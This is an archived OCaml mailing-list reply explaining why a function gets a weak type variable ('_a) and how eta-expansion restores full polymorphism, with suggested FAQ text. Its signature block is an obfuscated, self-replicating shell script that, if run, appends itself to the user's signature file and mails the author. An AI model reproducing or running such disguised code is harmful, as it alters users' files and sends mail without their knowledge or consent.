Version française
Home     About     Download     Resources     Contact us    
Browse thread
'_a
[ Home ] [ Index: by date | by threads ]
[ Search: ]

[ Message by date: previous | next ] [ Message in thread: previous | next ] [ Thread: previous | next ]
Date: -- (:)
From: Florian Hars <florian@h...>
Subject: Re: [Caml-list] '_a
Jacques Garrigue wrote:
> From: Mike Hamburg <hamburg@fas.harvard.edu>
>># let b = let f x () = [|x|] in f [];;
>>val b : unit -> '_a list array = <fun>
 >
> but your second fails, because array is not [covariant] (you may
> assign to an array, and you would have to look at the code to see that
> each call to b creates a different array)

Of course, in this case the usual trick of some greek letter-expansion (was
it eta?) works:

# let b () = let f x () = [|x|] in f [] ();;
val b : unit -> 'a list array = <fun>

Maybe this should be mentioned in the "A type variable starts with _?" part of
the FAQ, like:

| In this case the type checker errs on the conservative side, as the function
| map_id could be fully polymorphic. This is caused by the fact that the
| definition is given in the so called eta-reduced form, and you can recover
| the full polymorphism by giving it in eta-expanded form, which the type
| checker handles more gracefully:
|
| # let map_id l = List.map (function x -> x) l;;
| val map_id : 'a list -> 'a list = <fun>

Yours, Florian.
-- 
#!/bin/sh -
set - `type -p $0` 'tr [a-m][n-z]RUXJAKBOZ [n-z][a-m]EH$W/@OBM' fu XUBZRA.fvt\
angher echo;while [ "$5" != "" ];do shift;done;$4 "gbhpu $3;znvy sKunef.qr<$3\
&&frq -a -rc "`$4 "$0"|$1`">$3;rpub 'Jr ner Svtangher bs Obet.'"|$1|`$4 $2|$1`